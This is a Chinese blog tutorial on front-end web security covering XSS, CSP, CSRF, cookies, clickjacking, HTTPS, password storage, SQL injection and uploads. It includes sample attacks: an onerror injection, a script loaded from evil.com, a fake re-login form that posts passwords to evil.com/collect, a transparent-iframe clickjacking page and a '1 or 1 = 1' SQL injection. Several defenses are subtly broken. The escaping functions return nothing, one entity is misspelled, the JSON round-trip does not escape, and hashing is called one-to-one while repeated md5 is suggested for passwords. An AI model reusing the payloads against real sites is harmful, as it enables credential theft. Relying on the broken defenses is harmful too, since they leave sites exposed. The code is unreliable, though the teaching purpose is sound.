Web前端攻击与防御

225 阅读13分钟

第一章 常见的前端攻击及防御

1. XSS

1.1 XSS攻击

  1. 含义

XSS全称为“Cross Site Scripting”,跨站脚本攻击。如当前网站中运行了来自其他网站的恶意脚本。

每一个页面显示都符合一个公式:程序 + 数据 = 结果,当数据被程序恶意代替时,就会出现所谓的XSS攻击。

image.png

  1. 安全漏洞
  • 通过XSS获取页面数据,从而偷取网站任意数据
  • 通过XSS获取Cookies,从而偷取用户信息
  • 通过XSS劫持前端逻辑,从而偷取用户密码和登录状态
  • 通过XSS发送请求,从而欺骗用户
  1. 分类
  • 反射型:攻击代码通过url参数注入,当用户访问路径时攻击,用户有感知
  • 存储型:攻击代码被存储到数据库中,当用户读取时攻击,用户无感知
  1. 常见的攻击注入点
  • HTML节点内容

当节点内容中嵌套了恶意的、可执行的代码逻辑

<div>
    <script>...这是攻击内容...</script>
</div>
  • HTML节点属性

当节点的某个属性是通过用户输入值决定的,且用户输入了恶意的内容“1" onerror="...这里是恶意代码...”,如两个引号等

<img src="1" onerror="...这里是恶意代码..." />
  • JavaScript代码

当script标签内有用户恶意输入的代码逻辑

<script>
    var data = "hello";alert(1);"";
</script>
  • 富文本

如邮箱正文编辑器一样,可以对内容进行多种多样的样式设置等容器成为富文本编辑器,生成的内容被称为富文本,富文本的形式是一串HTML结构的代码,同时也具备了HTML的攻击注入点

<div>
    <p>
        <span>... 这里是恶意代码 ...</span>
    </p>
</div>

1.2 XSS防御

现代浏览器本身具备XSS防御的特点,但是仅仅针对的是HTML节点内容和属性的防御,缺乏对于JavaScript代码和富文本的防御。

为了提高浏览器的安全性能,以下介绍几种XSS防御手段。

1)针对HTML节点内容

防御:对用户输入的“<”和“>”进行转译,<转译为&lt;>转译为&gt;

时机:用户输入完成,页面展示前;存储到数据库前

2)针对HTML属性

防御:对用户输入中的“""”进行转译,""转译为&quto;''转译为&#39;空格转译为&#32;

时机:用户输入完成,页面展示前;存储到数据库前

手动封装一个转译函数如下:

const escapeHtml = function(str){
    if(!str) return;
    str = str.replace(/&/g,'&amp;');
    str = str.replace(/</g,'&lt;');
    str = str.replace(/>/g,'&gt;');
    str = str.replace(/"/g,'&quto;');
    str = str.replace(/'/g,'&#39;');
    str = str.replace(/ /g,'&#32;');
}

3)针对JavaScript代码

防御:对代码中的""进行转译或者使用JSON转换

时机:页面显示前

const escapeFromJS = function(str){
    if(!str) return;
    str = str.replace(/\\/g,'\\\\');
    str = str.replace(/"/g,'\\"');
}
str = JSON.parse(JSON.stringify(str));

4)针对富文本

防御:按照名单过滤恶意标签和属性、按照白名单保留部分标签和属性

时机:页面展示前

手动封装一个过滤函数如下:

const xssFilter = function(html){
    if(!html) return '';
    html = html.replace(/<\s*\/?script\s*>/g,'');
    ... ...
}

利用白名单保留标签和属性:

const xssFilter = function(html){
    if(!html) return '';
    
    // 创建属性白名单
    const whiteList = {
        'img':['src'],
        'div':['style','class']
        ... ...
    }
    
    // 将输入内容转为DOM结构
    const cheerio = require('cheerio');
    const $ = cheerio.load(html);
    
    // 对转换后的DOM结构进行过滤
    $('*').each((index,elem)=>{
        // 不满足要求的标签直接删除
        if(!whiteList[elem.name]){
            $(elem).remove();
            return;
        }
        for(const attr in elem.attribs){
            // 不在标签规定内的属性直接删除
            if(whiteList[elem.name].indexOf(attr) === -1){
                $(elem).attr(attr,null);
            }
        }
    })
    
    return $.html();
}

目前有很多现成的XSS白名单过滤的插件供使用,ueditor富文本编辑器内部也封装了XSS白名单过滤功能。

1.3 CSP策略

CSP全称为“Content Security Policy”,内容安全策略。用于指定哪些内容是可以被执行的。

XSS攻击产生的原因多半是浏览器执行了恶意的代码,而CSP可以控制页面中哪些部分可以被执行,就可以将用户输入的不可控内容标记为不能执行,从而从根源上避免XSS攻击。

开启CSP策略,需要在HTTP响应头中添加Content-Security-Policy属性,并设置响应的值。

Content-Security-Policy: ...

1)CSP可以防御的XSS攻击类型:

  • 限制内联脚本
// 阻止页面执行恶意的内联脚本
<script>
    alert("XSS)
</script>
  • 限制远程脚本
// 阻止页面从任意服务器加载脚本
<script src="https://evil.com/hacked.js"></script>
  • 限制不安全的JavaScript
// 阻止页面执行text-to-JavaScript函数
var op1 = getUrlParameter('op1')
var op2 = getUrlParameter('op2')
var sum = eval(`${op1} + ${op2}`)
console.log(`The sum is: ${sum}`)
  • 限制表单提交
// 限制网站上的HTML表单提交其数据的位置
<form method="POST" action="https://evil.com/collect">
    <h3>Session expired! Please login again.</h3>
    <label>Username</label>
    <input type="text" name="username" />
 
    <label>Password</label>
    <input type="password" name="pass" />
 
    <input type="Submit" value="Login" />
</form>
  • 限制HTML对象标签内容注入攻击
  • 限制基础URI注入攻击

2)CSP策略部分指令制定

  • default-src:默认加载策略
Content-Security-Policy: default-src 'none'
  • from-action:规定网站可以提交表单的位置
// 只允许提交表单到相同源的地址
Content-Security-Policy: form-action 'self'
  • frame-ancestors:针对frame的加载策略
// 仅允许页面由来自同一来源的其他页面框住
Content-Security-Policy: frame-ancestors 'self'
  • style-src:针对style的加载策略
// 允许加载相同源和https://fonts.googleapis.com/网站的css文件
Content-Security-Policy: style-src'self' https://fonts.googleapis.com/
  • img-src:针对图片的加载策略
// 允许加载当前源和URL的图片数据
Content-Security-Policy: img-src 'self' data:
  • script-src:对JavaScript的加载策略
// 允许从与页面相同源和特定域加载脚本
Content-Security-Policy:script-src 'self' https://scripts.normal-website.com

2. CSRF

2.1 CSRF攻击

CSRF全称为“Cross Site Request Forgery”跨站域请求伪造。如在其他第三方网站对目标网站发起攻击。

1)CSRF攻击产生的原理:

image.png

  1. 用户登录a网站
  2. a网站对用户身份进行认证
  3. 第三方利用a网站认证过的用户的信息,在b网站发起恶意请求

CSRF在用户不知情的情况下,利用用户登陆状态完成业务请求。CSRF攻击严重情况下会造成用户资金损失等。

2.2 CSRF特征

  • 跨域:由b网站向a网站发起请求
  • 携带cookies:b网站获取了a网站的cookies
  • 不经过a网站前端:用户访问的是b网站前端
  • referer标识:HTTP请求头中的referer标识为b网站地址,表示请求来源

2.3 CSRF防御

  • same-site:禁止第三方网站携带Cookies,但是目前兼容性不高
cookie.set(
    'uesrId',
    user.id,
    { httpOnly: true, sameSite: 'strict'}
)
  • a网站前端添加验证码,对用户交互不太友好

image.png

前端利用插件生成随机验证码,前端在请求后台时携带该验证码,后台对验证码进行验证,验证通过才能往下执行,验证不通过则抛出错误。

  • a网站前端添加token,用户无感知

用户在a网站登录成功后,会生成一个唯一的token字符串,在之后的每一次请求中都会携带token,由后台验证,验证通过才能执行下一步操作。

  • 验证referer,拒绝第三方网站的请求

request请求头中包含一个referer属性,会记录请求来源网站ip,后端可以对该字段进行校验,从而阻止第三方网站的恶意攻击。

3. Cookies

3.1 Cookies特性

  • Cookies数据存储在前端,大小约为4kb
  • 后端通过HTTP响应头设置Cookies
  • 前端请求时在HTTP请求头中携带Cookies
  • 前端可以通过JS对Cookies进行读写操作
  • Cookies受浏览器同源策略的限制

3.2 Cookies组成

  • 域名Domain: 限制可使用的域名
  • 有效期Expires:失效时间
  • 路径Path:可访问的层级
  • HttpOnly:只能通过HTTP发送和接收中使用,不能通过JS读写
  • Secure:只能在https协议中使用
  • SameSite:是否允许第三方网站使用

3.3 Cookies作用

  • 存储用户个性化设置
  • 存储用户未登录时的唯一标识
  • 存储已登录用户的凭证
  • 存储业务逻辑数据

1)Cookies存储用户登录凭证

第一步:用户在前端提交了用户名和密码

第二步:后端对用户名和密码进行校验

第三步:后端校验通过后,在HTTP响应头中添加set-cookies字段,标识用户凭证

第四步:前端拿到set-cookies里面的信息并保存到本地,在后续访问时携带上Cookies

2)用户登录凭证分类

  • 用户ID:明文传输,容易被篡改
  • 用户ID+签名:签名由算法生成的密文,不容易被恶意解析,安全性提高
  • SessionId:后端生成一个sessionId,并将其通过Cookies返回给前端,前端在之后的请求时通过Cookies携带sessionId供后台校验,由于sessionId由后端生成,不容易被恶意篡改,所以安全性较高

3.4 XSS盗取Cookies

XSS可以通过JS脚本恶意盗取用户的Cookies信息,从而造成Web攻击。

可以通过设置Cookies中的HttpOnly,来禁止JS脚本获取。

set-cookies: httpOnly = true

3.5 CSRF利用Cookies

CSRF通过第三方网站向目标网站发起攻击时会利用目标网站的Cookies,从而造成Web攻击。

可以通过设置Cookies的sameSite,禁止第三方网站携带Cookies,但是目前该方式兼容性不高。

set-cookies: sameSite= 'strict'

3.6 Cookies安全性

Cookies存在的安全问题:

  • Cookies被篡改
  • Cookies被盗取
  • Cookies被利用

Cookies的安全策略:

  • 利用加密的签名防止Cookies被篡改
  • 将用户ID进行加解密处理
  • http-only防止XSS攻击
  • secure限制HTTPS协议
  • same-site防止CSRF攻击

4. 前端点击劫持

4.1 点击劫持

如在目标网站内嵌了一个iframe第三方网站,并将iframe的透明度设置为0,让用户无法感知iframe恶意网站的存在。诱导用户在不知情的情况下点击某个按钮,由于透明度不会阻止JS click事件的执行,从而造成的Web攻击。

<body style="background:url('click.png')">
    <iframe style="opacity:0" src="http://www.baidu.com"></iframe>
</body>

4.2 点击劫持特点和危害

  • 用户主动点击
  • 用户并不知情

该攻击的危害:

  • 如果已登陆,则可以获取 用户信息,从而可以完成各种请求操作

4.3 点击劫持防御

  • 目标网站前端设置JavaScript禁止内嵌
  • X-FRAME-OPTIONS禁止内嵌

在HTTP响应头中增加X-Frame-Options属性,防止前端点击劫持

X-Frame-Options: DENY // 该页面不允许在frame中展示,包括相同域名的页面中嵌套也不允许
X-Frame-Options: SAMEORIGIN // 该页面只允许可以在相同域名页面的frame中展示
  • 其他辅助手段,如临时验证码

5. HTTP传输窃听

5.1 传输链路窃听篡改

HTTP在前端和后端间传输数据时可能会经过不止一个中间节点,每一个中间节点都可能对传输数据进行窃取和篡改。

image.png

1)HTTP窃听

传输链路中的每一环都可以获取request body中的用户信息数据。

  • 窃取用户密码
  • 窃取传输的敏感信息

2)HTTP篡改

传输链路中的每一个环都可以对传输数据进行数据的篡改,如运行商劫持、局域网劫持、公共wifi获取用户数据等。

  • 在传输数据中插入广告
  • 将用户请求重定向到恶意网站
  • 无法防御的XSS攻击和CSRF攻击,如将转译后的代码重新恶意篡改等

5.2 HTTPS加密传输

HTTPS是建立在HTTP基础上的传输机制,在原来的基础上增加了一层TLS(SSL)层对传输数据进行加解密,从而防止明文传输导致的窃听漏洞。

浏览器和服务器通过第三方认证机构对双方身份进行验证,从而防止中间件进行窃听和篡改。

image.png

HTTPS的优点:

  • CA证书无法造假,或者成本很高
  • CA证书私钥不容易被泄露
  • CA域名管理权不容易被泄露
  • CA坚守原则

6. 密码安全

6.1 密码的作用

密码作为用户身份的凭证,通过对比用户输入密码和服务器存储密码的一致性,从而验证用户身份。

6.2 密码泄露

用户注册的密码一般存储在服务器端,而各种恶意的操作都有可能导致密码泄露。

  • 数据库被窃取
  • 服务器被恶意攻击
  • 通讯数据被监听
  • 内部人员泄露
  • 遭到其他网站撞库

6.3 密码泄露防御

1)严禁明文存储

2)单向变换

典型代表是哈希算法,哈希算法具有“明文和密文一一对应原则、明文稍小的改变都会引发密文较大的变化原则(雪崩效应)、不能从密文反推明文的原则、密文长度固定原则”。常见的哈希算法有md5,sha1,sha256等。

3)变换复杂度要求

可以对用户密码进行多次单向变换,即多次md5转换等。

4)密码复杂度要求

限制密码的长度和组成、利用加盐进行密码增强等。

5)加盐

随机生成一个串,将串和密码进行拼接,从而增加密码的复杂度。

6.4 密码传输泄露防御

  • https传输
  • 登录频率限制,防止恶意猜解
  • 前端密码加密传输,防止中间件获取明文密码,导致其他网站撞库

6.5 生物特征密码

一般用于移动端密码,包括唇纹、指纹、声纹、虹膜、人脸识别等。

但是生物特征具备很多缺点:

  • 私密性低,易泄露
  • 安全性低,易碰撞
  • 唯一性,不能修改

7. 接入注入攻击

7.1 关系型数据库

常见的关系型数据有mysql、access、sqlite等,为了操作关系型数据发明了一些sql语言,类型于自然语言的标准语言,可以对数据库进行增删改查操作。

关系型数据库的特点:

  • 存放结构化数据
  • 高效操作大量数据
  • 方便处理数据之间的关系

7.2 sql注入

根据用户输入信息,从数据库查询结果,由于用户恶意输入,使一部分数据变成了语句内容,导致的SQL语句注入攻击。

// 查询语句
select * from table where id = ${id}

// 恶意输入
select * from table where id = 1 or 1 = 1

SQL注入的危害有很多,如:

  • 猜解密码
  • 获取数据
  • 删库删表
  • 拖库

7.3 SQL注入防御

  • 关闭后端错误提示信息
  • 前端/后端检查输入数据类型,是否符合要求
  • 前端/后端对输入数据进行转义,提高安全性
  • 使用参数化查询,数据库将参数只作为参数,而不会成为语句的一部分
  • 使用ORM(对象关系映射),市场上有很多线程的插件

8. 前端上传安全性

8.1 文件上传

用户上传文件时,具备以下特点:

  • 用户上传,安全性待校验
  • 上传成功后可以通过url访问
  • 浏览器可能会将文件作为程序执行

针对以上问题,可以采取下列措施进行防御:

  • 限制上传后缀,禁止上传程序,如.js
  • 检查文件类型,如flies.type
  • 检查文件头,如files[0]
  • 程序输出,不去执行文件
  • 权限限制,可写和可执行互斥

第二章 信息泄露

1. 信息泄露

信息泄露不是一种攻击,而是一类攻击,如泄露系统和用户的敏感信息,泄露用户密码等。通过错误信息失控、SQL注入、用户水平权限控制不当、XSS/CSRF等都会造成信息泄露。

2. OAuth思想

业界对于信息泄露,有一个很成熟的思想,称为OAuth,表示用户授权,经过用户授权后可以把凭证给到第三方,如微信授权。

OAuth思想的特点:

  • 用户主动授权
  • 不会泄露敏感信息
  • 不会泄露未授权数据
  • 用户授权具有有效期

image.png